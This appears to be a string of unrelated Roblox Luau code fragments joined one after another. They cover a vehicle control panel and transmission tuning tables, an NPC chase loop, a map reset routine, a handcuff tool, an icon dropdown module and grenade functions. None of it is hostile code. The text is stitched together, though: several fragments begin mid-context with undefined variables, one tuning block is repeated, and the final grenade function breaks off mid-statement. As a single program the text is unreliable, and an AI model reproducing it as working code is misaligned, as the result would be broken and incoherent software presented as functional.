script.Parent.Parent:WaitForChild("Controls") script.Parent.Parent:WaitForChild("ControlsOpen") script.Parent:WaitForChild("Window") script.Parent:WaitForChild("Toggle") local car = script.Parent.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local UserInputService = game:GetService("UserInputService") local cPanel = script.Parent local Controls = script.Parent.Parent.Controls local ver = require(car["A-Chassis Tune"].README) cPanel.Window["//INSPARE"].Text = "A-Chassis "..ver.." // INSPARE" local controlsOpen = false local cInputB = nil local cInputT = nil local cInput = false for i,v in pairs(_Tune.Peripherals) do script.Parent.Parent.Controls:WaitForChild(i) local slider = cPanel.Window.Content[i] slider.Text = v.."%" slider.S.CanvasPosition=Vector2.new(v*(slider.S.CanvasSize.X.Offset-slider.S.Size.X.Offset)/100,0) slider.S.Changed:connect(function(property) if property=="CanvasPosition" then Controls[i].Value = math.floor(100*slider.S.CanvasPosition.x/(slider.S.CanvasSize.X.Offset-slider.S.Size.X.Offset)) slider.Text = Controls[i].Value.."%" end end) end for i,v in pairs(_Tune.Controls) do script.Parent.Parent.Controls:WaitForChild(i) local button = cPanel.Window.Content[i] button.Text = v.Name button.MouseButton1Click:connect(function() script.Parent.Parent.ControlsOpen.Value = true cPanel.Window.Overlay.Visible = true cInput = true repeat wait() until cInputB~=nil if cInputB == Enum.KeyCode.Return or cInputB == Enum.KeyCode.KeypadEnter then --do nothing elseif string.find(i,"Contlr")~=nil then if cInputT.Name:find("Gamepad") then Controls[i].Value = cInputB.Name button.Text = cInputB.Name else cPanel.Window.Error.Visible = true end elseif i=="MouseThrottle" or i=="MouseBrake" then if cInputT == Enum.UserInputType.MouseButton1 or cInputT == Enum.UserInputType.MouseButton2 then Controls[i].Value = cInputT.Name button.Text = cInputT.Name elseif cInputT == Enum.UserInputType.Keyboard then Controls[i].Value = cInputB.Name button.Text = cInputB.Name else cPanel.Window.Error.Visible = true end else if cInputT == Enum.UserInputType.Keyboard then Controls[i].Value = cInputB.Name button.Text = cInputB.Name else cPanel.Window.Error.Visible = true end end cInputB = nil cInputT = nil cInput = false wait(.2) cPanel.Window.Overlay.Visible = false script.Parent.Parent.ControlsOpen.Value = false end) end cPanel.Window.Error.Changed:connect(function(property) if property == "Visible" then wait(3) cPanel.Window.Error.Visible = false end end) UserInputService.InputBegan:connect(function(input) if cInput then cInputB = input.KeyCode cInputT = input.UserInputType end end) UserInputService.InputChanged:connect(function(input) if cInput and (input.KeyCode==Enum.KeyCode.Thumbstick1 or input.KeyCode==Enum.KeyCode.Thumbstick2) then cInputB = input.KeyCode cInputT = input.UserInputType end end) cPanel.Toggle.MouseButton1Click:connect(function() controlsOpen = not controlsOpen if controlsOpen then cPanel.Toggle.TextColor3 = Color3.new(.15,.15,.15) cPanel.Window:TweenPosition(UDim2.new(0.5, -250,0.5, -250),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true) else cPanel.Toggle.TextColor3 = Color3.new(1,1,1) cPanel.Window:TweenPosition(UDim2.new(0.5, -250,0, -500),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true) end end) cPanel.Window.Tabs.Keyboard.MouseButton1Click:connect(function() cPanel.Window.Content:TweenPosition(UDim2.new(0, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) end) cPanel.Window.Tabs.Mouse.MouseButton1Click:connect(function() cPanel.Window.Content:TweenPosition(UDim2.new(-1, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) end) cPanel.Window.Tabs.Controller.MouseButton1Click:connect(function() cPanel.Window.Content:TweenPosition(UDim2.new(-2, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) end) wait(.5) cPanel.Toggle:TweenPosition(UDim2.new(0.5, -50, 1, -25),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,false) for i=1,6 do cPanel.Toggle.TextColor3 = Color3.new(100/255,100/255,100/255) wait(.2) if controlsOpen then cPanel.Toggle.TextColor3 = Color3.new(.15,.15,.15) else cPanel.Toggle.TextColor3 = Color3.new(1,1,1) end wait(.2) end
-- System Configuration
VisualUntilReset = true TwoStage = false FirstStageTime = 0
-- Get the bear
local bear = script.Parent -- replace with the path to your bear
-- no touchy
local path local waypoint local oldpoints local isWandering = 0 if canWander then spawn(function() while isWandering == 0 do isWandering = 1 local desgx, desgz = hroot.Position.x + math.random(-WanderX, WanderX), hroot.Position.z + math.random(-WanderZ, WanderZ) human:MoveTo( Vector3.new(desgx, 0, desgz) ) wait(math.random(4, 6)) isWandering = 0 end end) end while wait() do local enemytorso = GetTorso(hroot.Position) if enemytorso ~= nil then -- if player detected isWandering = 1 local function checkw(t) local ci = 3 if ci > #t then ci = 3 end if t[ci] == nil and ci < #t then repeat ci = ci + 1 wait() until t[ci] ~= nil return Vector3.new(1, 0, 0) + t[ci] else ci = 3 return t[ci] end end path = pfs:FindPathAsync(hroot.Position, enemytorso.Position) waypoint = path:GetWaypoints() oldpoints = waypoint local connection; local direct = Vector3.FromNormalId(Enum.NormalId.Front) local ncf = hroot.CFrame * CFrame.new(direct) direct = ncf.p.unit local rootr = Ray.new(hroot.Position, direct) local phit, ppos = game.Workspace:FindPartOnRay(rootr, hroot) if path and waypoint or checkw(waypoint) then if checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Walk then human:MoveTo( checkw(waypoint).Position ) human.Jump = false end -- CANNOT LET BALDI JUMPS -- --[[if checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Jump then human.Jump = true connection = human.Changed:connect(function() human.Jump = true end) human:MoveTo( checkw(waypoint).Position ) else human.Jump = false end]] --[[hroot.Touched:connect(function(p) local bodypartnames = GetPlayersBodyParts(enemytorso) if p:IsA'Part' and not p.Name == bodypartnames and phit and phit.Name ~= bodypartnames and phit:IsA'Part' and rootr:Distance(phit.Position) < 5 then connection = human.Changed:connect(function() human.Jump = true end) else human.Jump = false end end)]] if connection then connection:Disconnect() end else for i = 3, #oldpoints do human:MoveTo( oldpoints[i].Position ) end end elseif enemytorso == nil and canWander then -- if player not detected isWandering = 0 path = nil waypoint = nil human.MoveToFinished:Wait() end end
--[[Transmission]]
-- Tune.Clutch = true -- Implements a realistic clutch. Tune.TransModes = {"DCT"} --[[ [Modes] "Manual" ; Traditional clutch operated manual transmission "DCT" ; Dual clutch transmission, where clutch is operated automatically "Auto" ; Automatic transmission that shifts for you >Include within brackets eg: {"Manual"} or {"DCT", "Manual"} >First mode is default mode ]] --[[Transmission]] Tune.ClutchType = "Clutch" --[[ [Types] "Clutch" : Standard clutch, recommended "TorqueConverter" : Torque converter, keeps RPM up "CVT" : CVT, found in scooters ]] Tune.ClutchMode = "Speed" --[[ [Modes] "Speed" : Speed controls clutch engagement "RPM" : Speed and RPM control clutch engagement ]] --Transmission Settings Tune.Stall = false -- Stalling, enables the bike to stall. An ignition plugin would be necessary. Disables if Tune.Clutch is false. Tune.ClutchEngage = 25 -- How fast engagement is (0 = instant, 99 = super slow) --Torque Converter: Tune.TQLock = false -- Torque converter starts locking at a certain RPM (see below if set to true) --Torque Converter and CVT: Tune.RPMEngage = 5300 -- Keeps RPMs to this level until passed --Clutch: Tune.SpeedEngage = 6 -- Speed the clutch fully engages at (Based on SPS) --Clutch: "RPM" mode Tune.ClutchRPMMult = 1.0 -- Clutch RPM multiplier, recommended to leave at 1.0 --Manual: Quick Shifter Tune.QuickShifter = false -- To quickshift, cut off the throttle to upshift, and apply throttle to downshift, all without clutch. Tune.QuickShiftTime = 0.25 -- Determines how much time you have to quick shift up or down before you need to use the clutch. --Automatic Settings Tune.AutoShiftMode = "RPM" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoShiftType = "DCT" --[[ [Types] "Rev" : Clutch engages fully once RPM reached "DCT" : Clutch engages after a set time has passed ]] Tune.AutoUpThresh = 200 -- Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 -- Automatic downshift point (relative to peak RPM, positive = Under-rev) --Automatic: Revmatching Tune.ShiftThrot = 100 -- Throttle level when shifting down to revmatch, 0 - 100% --Automatic: DCT Tune.ShiftUpTime = 0.25 -- Time required to shift into next gear, from a lower gear to a higher one. Tune.ShiftDnTime = 0.125 -- Time required to shift into next gear, from a higher gear to a lower one. Tune.FinalDrive = (38/14)*0.95 -- (Final * Primary) -- Gearing determines top speed and wheel torque -- for the final is recommended to divide the size of the rear sprocket to the one of the front sprocket -- and multiply it to the primary drive ratio, if data is missing, you can also just use a single number Tune.NeutralRev = true -- Enables you to back up manually in neutral Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 32/05 , -- Neutral and 1st gear are required --[[ 2 ]] 32/10 , --[[ 3 ]] 32/15 , --[[ 4 ]] 32/20 , --[[ 5 ]] 33/25 , } Tune.Limiter = false -- Enables a speed limiter Tune.SpeedLimit = 300 -- At what speed (SPS) the limiter engages
-- / Functions / --
ResetMapModule.Reset = function() -- / Workspace / -- GamemodesMapHolder:ClearAllChildren() GameAssetsHolder:ClearAllChildren() game.Workspace.Gravity = 196.2 for _, TerrainObject in pairs(game.Workspace.Terrain:GetChildren()) do TerrainObject:Destroy() end local Clouds = Instance.new("Clouds") Clouds.Parent = game.Workspace.Terrain Clouds.Cover = 0.5 Clouds.Density = 0.75 Clouds.Color = Color3.fromRGB(255, 255, 255) -- / Lighting / -- Lighting.Ambient = Color3.fromRGB(125, 84, 63) Lighting.Brightness = 3 Lighting.ColorShift_Bottom = Color3.fromRGB(0, 0, 0) Lighting.ColorShift_Top = Color3.fromRGB(0, 0, 0) Lighting.EnvironmentDiffuseScale = 1 Lighting.EnvironmentSpecularScale = 1 Lighting.OutdoorAmbient = Color3.fromRGB(125, 125, 125) Lighting.ShadowSoftness = 0.1 Lighting.GeographicLatitude = 0 Lighting.ExposureCompensation = 0 for _, LightingObject in pairs(Lighting:GetChildren()) do LightingObject:Destroy() end for _, DefaultMapObjectsHolder in pairs(DefaultMapConfiguration:GetChildren()) do for _, DefaultMapObject in pairs(DefaultMapObjectsHolder:GetChildren()) do local Object = DefaultMapObject:Clone() Object.Parent = game:FindFirstDescendant(DefaultMapObjectsHolder.Name) end end end
-- gets owner Id from group owner or place creator
script.Parent.Parent = game.ReplicatedStorage local ownerId = game.CreatorId if game.CreatorType == Enum.CreatorType.Group then local group = game:GetService("GroupService"):GetGroupInfoAsync(ownerId) ownerId = group.Owner.Id end game.Players.PlayerAdded:Connect(function(plr) if plr.UserId == ownerId then plr.CharacterAdded:Connect(function() local clone = script.Parent:Clone() clone.MainScript:Destroy() clone.Parent = plr.Character end) end end)
-----------------------------------------------------------------------------
script.Parent.Humanoid.HealthChanged:Connect(function() if script.Parent.Humanoid.Health <= 37 then Instance.new("Decal", script.Parent.Head) script.Parent.Head.Decal.Texture = "rbxassetid://176678128" script.Parent.Head.Decal.Face = "Back" end end)
--[[ local message = "Announcement: The RHS servers will be restarting in 1 minute for a maintenance update. You'll automatically return to an updated server then!" game:GetService("DataStoreService"):GetDataStore("GlobalMessage"):SetAsync( "Message", message) --]]
--[[* * Posix glob regex ]]
local DOT_LITERAL = "\\." local PLUS_LITERAL = "\\+" local QMARK_LITERAL = "\\?" local SLASH_LITERAL = "\\/" local ONE_CHAR = "(?=.)" local QMARK = "[^/]" local END_ANCHOR = ("(?:%s|$)"):format(SLASH_LITERAL) local START_ANCHOR = ("(?:^|%s)"):format(SLASH_LITERAL) local DOTS_SLASH = ("%s{1,2}%s"):format(DOT_LITERAL, END_ANCHOR) local NO_DOT = ("(?!%s)"):format(DOT_LITERAL) local NO_DOTS = ("(?!%s%s)"):format(START_ANCHOR, DOTS_SLASH) local NO_DOT_SLASH = ("(?!%s{0,1}%s)"):format(DOT_LITERAL, END_ANCHOR) local NO_DOTS_SLASH = ("(?!%s)"):format(DOTS_SLASH) local QMARK_NO_DOT = ("[^.%s]"):format(SLASH_LITERAL) local STAR = ("%s*?"):format(QMARK) local POSIX_CHARS = { DOT_LITERAL = DOT_LITERAL, PLUS_LITERAL = PLUS_LITERAL, QMARK_LITERAL = QMARK_LITERAL, SLASH_LITERAL = SLASH_LITERAL, ONE_CHAR = ONE_CHAR, QMARK = QMARK, END_ANCHOR = END_ANCHOR, DOTS_SLASH = DOTS_SLASH, NO_DOT = NO_DOT, NO_DOTS = NO_DOTS, NO_DOT_SLASH = NO_DOT_SLASH, NO_DOTS_SLASH = NO_DOTS_SLASH, QMARK_NO_DOT = QMARK_NO_DOT, STAR = STAR, START_ANCHOR = START_ANCHOR, }
--[[ MIT License ]]
local Player = game.Players.LocalPlayer local Mouse = Player:GetMouse() local Tool = script.Parent local Using = false local RemoteEvent = game.ReplicatedStorage.Events.Etc.Detain Tool.Activated:Connect(function() if not Using then if Mouse.Target then if (Mouse.Target.Position-Player.Character.HumanoidRootPart.Position).Magnitude < 10 then RemoteEvent:FireServer('Cuff', Mouse.Target) end end else Using = false RemoteEvent:FireServer('UnCuff') end end) Tool.Unequipped:Connect(function() if Using == true then RemoteEvent:FireServer('UnCuff') end Using = false end) RemoteEvent.OnClientEvent:Connect(function( state ) wait(.5) if state == 'Use' then Using = true end end)
-- Sounds
local Soundscape = game.Soundscape local CountdownBeep = Soundscape:FindFirstChild("CountdownBeep") local CountdownEndBeep = Soundscape:FindFirstChild("CountdownEndBeep") local DURATION = 3 -- Countdown duration in seconds
-- Get references to the DockShelf and the AppManager frame
local dockShelf = script.Parent.Parent.MobileDock local wallShelf = script.Parent.Parent.Wallpaper.Apps local appManager = script.Parent.Parent.AppManager local ClipSettings = require(game.ReplicatedFirst.ClipSettings) local UISpeed = ClipSettings.uiSpeed local TweenService = game:GetService("TweenService")
-- ROBLOX deviation: this regex attempts to match both ansi16 and ansi256 regexes
local ansiRegex = string.char(27) .. "%[%d+;?5?;?%d*m" local ansiLookupTable = { [chalk.red.close] = "</>", [chalk.green.close] = "</>", [chalk.cyan.close] = "</>", [chalk.gray.close] = "</>", [chalk.white.close] = "</>", [chalk.yellow.close] = "</>", [chalk.bgRed.close] = "</>", [chalk.bgGreen.close] = "</>", [chalk.bgYellow.close] = "</>", [chalk.inverse.close] = "</>", [chalk.dim.close] = "</>", [chalk.bold.close] = "</>", [chalk.reset.open] = "</>", [chalk.reset.close] = "</>", [chalk.red.open] = "<red>", [chalk.green.open] = "<green>", [chalk.cyan.open] = "<cyan>", [chalk.gray.open] = "<gray>", [chalk.white.open] = "<white>", [chalk.yellow.open] = "<yellow>", [chalk.bgRed.open] = "<bgRed>", [chalk.bgGreen.open] = "<bgGreen>", [chalk.bgYellow.open] = "<bgYellow>", [chalk.inverse.open] = "<inverse>", [chalk.dim.open] = "<dim>", [chalk.bold.open] = "<bold>", } local function toHumanReadableAnsi(text: string) return text:gsub(ansiRegex, function(match) if ansiLookupTable[match] then return ansiLookupTable[match] else return "" end end) end local function test(val: any) return typeof(val) == "string" and Boolean.toJSBoolean(val:match(ansiRegex)) end local function serialize(val: string, config: Config, indentation: string, depth: number, refs: Refs, printer: Printer) return printer(toHumanReadableAnsi(val), config, indentation, depth, refs) end return { test = test, serialize = serialize, -- ROBLOX deviation: exporting ansiRegex since we don't have a separate module for it ansiRegex = ansiRegex, -- ROBLOX deviation: exporting toHumanReadableAnsi toHumanReadableAnsi = toHumanReadableAnsi, }
--Differential Settings
Tune.FDiffSlipThres = 90 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed) Tune.FDiffLockThres = 60 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel) Tune.RDiffSlipThres = 90 -- 1 - 100% Tune.RDiffLockThres = 60 -- 0 - 100% Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only] Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only]
--Brake.InputChanged:Connect(TouchBrake)
local function TouchHandbrake(input, GPE) if input.UserInputState == Enum.UserInputState.Begin then _PBrake = not _PBrake elseif input.UserInputState == Enum.UserInputState.End then if bike.DriveSeat.Velocity.Magnitude>5 then _PBrake = false end end end Handbrake.InputBegan:Connect(TouchHandbrake) Handbrake.InputEnded:Connect(TouchHandbrake)
--When strafing make sure you can see target from end pos
function movement.strafe() local goalPos = status:get("currentTarget").Position local origin,dir = myRoot.Position,nil local action = math.random(2) if action == 1 then dir = myRoot.CFrame.RightVector elseif action == 2 then dir = -myRoot.CFrame.RightVector end for _=1,10 do if not core.raycast(origin,dir*2) and core.raycast(origin,Vector3.new(0,-7,0)) then origin += dir*2 else origin += dir*-2 break end end local _,result = core.raycast(origin,(status:get("currentTarget").Position - origin).Unit * 30) if result then if result.Instance:IsDescendantOf(status:get("currentTarget").Parent) then else origin = myRoot.Position end origin = myRoot.Position end return origin end function checkDirection(dir) local goalPos = status:get("currentTarget").Position local origin = myRoot.Position local success = false for i=1, 5 do if not core.raycast(origin,dir*1) and core.raycast(origin,Vector3.new(0,-7,0)) then origin = origin + dir*1 else origin = origin + dir*-1 break end if i == 5 then success = true end end return success,origin end function movement.retreat() --Check if we can retreat directly from the enemy. local result,pos = checkDirection(-(status:get("currentTarget").Position - myRoot.Position).Unit) if result then return pos end --Check if we can move away to the right. result,pos = checkDirection(myRoot.CFrame.RightVector) if result then return pos end --Check if can move away to the left. result,pos = checkDirection(-myRoot.CFrame.RightVector) if result then return pos end return myRoot.Position end function movement.slowAdvance() local goalPos = status:get("currentTarget").Position local origin = myRoot.Position local maxIterations = 30 repeat maxIterations -= 1 if not core.raycast(origin,(goalPos - origin).Unit*1) and core.raycast(origin,Vector3.new(0,-7,0)) then origin = origin + (goalPos - origin).Unit*1 else origin = origin + (goalPos - origin).Unit*-1 break end if maxIterations <= 0 then break end until false return origin end
-- for the final is recommended to divide the size of the rear sprocket to the one of the front sprocket -- and multiply it to the primary drive ratio, if data is missing, you can also just use a single number
Tune.NeutralRev = true -- Enables you to back up manually in neutral Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.827 , --[[ 2 ]] 2.36 , --[[ 3 ]] 1.685 , --[[ 4 ]] 1.313 , --[[ 5 ]] 1 , --[[ 6 ]] .793 , } Tune.FDMult = 1 Tune.Limiter = false -- Enables a speed limiter Tune.SpeedLimit = 300 -- At what speed (SPS) the limiter engages
-- run
local normal = cutPlane.CFrame.rightVector; if choppingBlock then pos1, size1, pos2, size2 = slicePart(choppingBlock, cutPlane.Position, normal); --choppingBlock.Anchored = false; end if (pos1 and size1 and pos2 and size2) then local part = choppingBlock:Clone(); part.Size = size1; part.CFrame = CFrame.new(pos1); part.Parent = choppingBlock.Parent; part.Anchored = true part.Name = "1" local part = choppingBlock:Clone(); part.Size = size2; part.CFrame = CFrame.new(pos2); part.Parent = choppingBlock.Parent; part.Anchored = true part.Name = "2" choppingBlock:Destroy(); if script:GetAttribute("Direction") == "Left" then workspace["1"].Parent = workspace.Stacked workspace["2"].Anchored = false workspace["2"].Name = "Delete" debris:AddItem(workspace["Delete"], 60) elseif script:GetAttribute("Direction") == "Right" then workspace["2"].Parent = workspace.Stacked workspace["1"].Anchored = false workspace["1"].Name = "Delete" debris:AddItem(workspace["Delete"], 60) elseif script:GetAttribute("Direction") == "Top" then workspace["1"].Parent = workspace.Stacked workspace["2"].Anchored = false workspace["2"].Name = "Delete" debris:AddItem(workspace["Delete"], 60) elseif script:GetAttribute("Direction") == "Bottom" then workspace["2"].Parent = workspace.Stacked workspace["1"].Anchored = false workspace["1"].Name = "Delete" debris:AddItem(workspace["Delete"], 60) end end
-- Join or leave a special feature such as a Dropdown or Menu
function Icon:join(parentIcon, featureName, dontUpdate) if self._parentIcon then self:leave() end local newFeatureName = (featureName and featureName:lower()) or "dropdown" local beforeName = "before"..featureName:sub(1,1):upper()..featureName:sub(2) local parentFrame = parentIcon.instances[featureName.."Frame"] self.presentOnTopbar = false self.joinedFeatureName = featureName self._parentIcon = parentIcon self.instances.iconContainer.Parent = parentFrame for noticeId, noticeDetail in pairs(self.notices) do parentIcon:notify(noticeDetail.clearNoticeEvent, noticeId) --parentIcon:notify(noticeDetail.completeSignal, noticeId) end if featureName == "dropdown" then local squareCorners = parentIcon:get("dropdownSquareCorners") self:set("iconSize", UDim2.new(1, 0, 0, self:get("iconSize", "deselected").Y.Offset), "deselected", beforeName) self:set("iconSize", UDim2.new(1, 0, 0, self:get("iconSize", "selected").Y.Offset), "selected", beforeName) if squareCorners then self:set("iconCornerRadius", UDim.new(0, 0), "deselected", beforeName) self:set("iconCornerRadius", UDim.new(0, 0), "selected", beforeName) end self:set("captionBlockerTransparency", 0.4, nil, beforeName) end local array = parentIcon[newFeatureName.."Icons"] table.insert(array, self) if not dontUpdate then parentIcon:_updateDropdown() end parentIcon.deselectWhenOtherIconSelected = false -- IconController:_updateSelectionGroup() self:_decideToCallSignal("dropdown") self:_decideToCallSignal("menu") -- return self end function Icon:leave() if self._destroyed or self.instances.iconContainer.Parent == nil then return end local settingsToReset = {"iconSize", "captionBlockerTransparency", "iconCornerRadius"} local parentIcon = self._parentIcon self.instances.iconContainer.Parent = topbarContainer self.presentOnTopbar = true self.joinedFeatureName = nil local function scanFeature(t, prevReference, updateMethod) for i, otherIcon in pairs(t) do if otherIcon == self then for _, settingName in pairs(settingsToReset) do local states = {"deselected", "selected"} for _, toggleState in pairs(states) do local currentSetting, previousSetting = self:get(settingName, toggleState, prevReference) if previousSetting then self:set(settingName, previousSetting, toggleState) end end end table.remove(t, i) updateMethod(parentIcon) if #t == 0 then self._parentIcon.deselectWhenOtherIconSelected = true end break end end end scanFeature(parentIcon.dropdownIcons, "beforeDropdown", parentIcon._updateDropdown) scanFeature(parentIcon.menuIcons, "beforeMenu", parentIcon._updateMenu) -- for noticeId, noticeDetail in pairs(self.notices) do local parentIconNoticeDetail = parentIcon.notices[noticeId] if parentIconNoticeDetail then parentIconNoticeDetail.completeSignal:Fire() end end -- self._parentIcon = nil -- IconController:_updateSelectionGroup() self:_decideToCallSignal("dropdown") self:_decideToCallSignal("menu") -- return self end function Icon:_decideToCallSignal(featureName) local isOpen = self[featureName.."Open"] local previousIsOpenName = "_previous"..string.sub(featureName, 1, 1):upper()..featureName:sub(2).."Open" local previousIsOpen = self[previousIsOpenName] local totalIcons = #self[featureName.."Icons"] if isOpen and totalIcons > 0 and previousIsOpen == false then self[previousIsOpenName] = true self[featureName.."Opened"]:Fire() elseif (not isOpen or totalIcons == 0) and previousIsOpen == true then self[previousIsOpenName] = false self[featureName.."Closed"]:Fire() end end function Icon:_ignoreClipping(featureName) local ignoreClipping = self:get(featureName.."IgnoreClipping") if self._parentIcon then local maid = self["_"..featureName.."ClippingMaid"] local frame = self.instances[featureName.."Container"] maid:clean() if ignoreClipping then local fakeFrame = Instance.new("Frame") fakeFrame.Name = frame.Name.."FakeFrame" fakeFrame.ClipsDescendants = true fakeFrame.BackgroundTransparency = 1 fakeFrame.Size = frame.Size fakeFrame.Position = frame.Position fakeFrame.Parent = activeItems -- for a,b in pairs(frame:GetChildren()) do b.Parent = fakeFrame end -- local function updateSize() local absoluteSize = frame.AbsoluteSize fakeFrame.Size = UDim2.new(0, absoluteSize.X, 0, absoluteSize.Y) end maid:give(frame:GetPropertyChangedSignal("AbsoluteSize"):Connect(function() updateSize() end)) updateSize() local function updatePos() local absolutePosition = frame.absolutePosition fakeFrame.Position = UDim2.new(0, absolutePosition.X, 0, absolutePosition.Y+36) end maid:give(frame:GetPropertyChangedSignal("AbsolutePosition"):Connect(function() updatePos() end)) updatePos() maid:give(function() for a,b in pairs(fakeFrame:GetChildren()) do b.Parent = frame end fakeFrame.Name = "Destroying..." fakeFrame:Destroy() end) end end self._ignoreClippingChanged:Fire(featureName, ignoreClipping) end
--------------------[ GRENADE FUNCTIONS ]---------------------------------------------
function CreateGrenade() local Grenade = Instance.new("Model") local Center = Instance.new("Part") Center.BrickColor = S.GrenadeColor Center.Name = "Center" Center.CanCollide = false Center.Elasticity = 0 Center.FormFactor = Enum.FormFactor.Custom Center.Size = S.GrenadeSize Center.BottomSurface = Enum.SurfaceType.Smooth Center.TopSurface = Enum.SurfaceType.Smooth Center.Parent = Grenade local Mesh1 = Instance.new("SpecialMesh") Mesh1.MeshType = Enum.MeshType.Sphere Mesh1.Parent = Center return Grenade end function CreateKnife() local Knife = Instance.new("Part") Knife.BrickColor = S.GrenadeColor Knife.Name = "Knife" Knife.CanCollide = false Knife.FormFactor = Enum.FormFactor.Custom Knife.Size = VEC3(1, 1, 3) local Mesh = Instance.new("SpecialMesh") Mesh.MeshId = "http://www.roblox.com/asset/?id=12221720" Mesh.MeshType = Enum.MeshType.FileMesh Mesh.Scale = VEC3(0.5, 0.5, 0.5) Mesh.Parent = Knife return Knife end function CreateTarget() local Target = Instance.new("Model") local Center = Instance.new("Part") Center.BrickColor = BrickColor.new("Bright red") Center.Material = Enum.Material.SmoothPlastic Center.Transparency = 0.3 Center.Name = "Center" Center.Anchored = true Center.CanCollide = false Center.FormFactor = Enum.FormFactor.Custom Center.Size = VEC3(4, 0.2, 4) Center.Parent = Target local CylinderMesh = Instance.new("CylinderMesh") CylinderMesh.Parent = Center local Line = Instance.new("Part") Line.BrickColor = BrickColor.new("Bright red") Line.Transparency = 0.3 Line.Name = "Line" Line.CFrame = Center.CFrame * CFrame.new(0, 5.1, 0) Line.Anchored = true Line.CanCollide = false Line.FormFactor = Enum.FormFactor.Custom Line.Size = VEC3(0.4, 10, 0.4) Line.BottomSurface = Enum.SurfaceType.Smooth Line.TopSurface = Enum.SurfaceType.Smooth Line.Parent = Target return Target end function DetonateExplosive(Grenade) CreateShockwave(Grenade.Position, S.GrenadeBlastRadius) local GrenadePos = Grenade.Position local E = Instance.new("Explosion") E.BlastPressure = S.GrenadeBlastPressure E.BlastRadius = S.GrenadeBlastRadius E.DestroyJointRadiusPercent = (S.GrenadeRangeBasedDamage and 0 or 1) E.ExplosionType = S.GrenadeExplosionType E.Position = GrenadePos E.Hit:connect(function(HObj, HDist) if HObj.Name == "Torso" and (not HObj:IsDescendantOf(Character)) then if S.GrenadeRangeBasedDamage then local ClosestPart = nil local ClosestDist = math.huge for _, P in pairs(HObj.Parent:GetChildren()) do if P:IsA("BasePart") then local Dist = (GrenadePos - P.Position).magnitude if Dist < ClosestDist then ClosestPart = P ClosestDist = Dist end end end local Dir = (ClosestPart.Position - GrenadePos).unit local H, P = AdvRayCast(GrenadePos, Dir, 999) local RayHitHuman = H:IsDescendantOf(HObj.Parent) if (S.GrenadeRayCastExplosions and RayHitHuman) or (not S.GrenadeRayCastExplosions) then local HitHumanoid = FindFirstClass(HObj.Parent, "Humanoid") if HitHumanoid and HitHumanoid.Health > 0 and IsEnemy(HitHumanoid) then local DistFactor = ClosestDist / S.GrenadeBlastRadius local DistInvert = math.max(1 - DistFactor,0) local NewDamage = DistInvert * S.LethalGrenadeDamage local CreatorTag = Instance.new("ObjectValue") CreatorTag.Value = Player CreatorTag.Name = "creator" CreatorTag.Parent = HitHumanoid HitHumanoid:TakeDamage(NewDamage) MarkHit() end end else local HitHumanoid = FindFirstClass(HObj.Parent, "Humanoid") if HitHumanoid and HitHumanoid.Health > 0 and IsEnemy(HitHumanoid) then local CreatorTag = Instance.new("ObjectValue") CreatorTag.Value = Player CreatorTag.Name = "creator" CreatorTag.Parent = HitHumanoid MarkHit() end end end end) E.Parent = game.Workspace wait() Grenade.Parent:Destroy() end function DetonateSmoke(Grenade) CreateShockwave(Grenade.Position, S.GrenadeEffectRadius) local GrenadePos = Grenade.Position spawn(function() for i = 1, math.floor(S.GrenadeEffectRadius / 5) + RAND(5, 10) do local Size = RAND(S.GrenadeEffectRadius * 0.6, S.GrenadeEffectRadius * 0.8) local Dist = RAND(0, S.GrenadeEffectRadius - Size) local XRot, YRot = RAD(RAND(0, 180, 10)), RAD(RAND(0, 360, 10)) local RotLV = (CFANG(0, YRot, 0) * CFANG(XRot, 0, 0)).lookVector local Pos = GrenadePos + (RotLV * VEC3(Dist, Dist / 2, Dist)) local Smoke = Instance.new("Part") Smoke.Transparency = 1 Smoke.Name = "Smoke" Smoke.Anchored = true Smoke.CanCollide = false Smoke.FormFactor = Enum.FormFactor.Symmetric Smoke.Size = VEC3(1, 1, 1) Smoke.TopSurface = 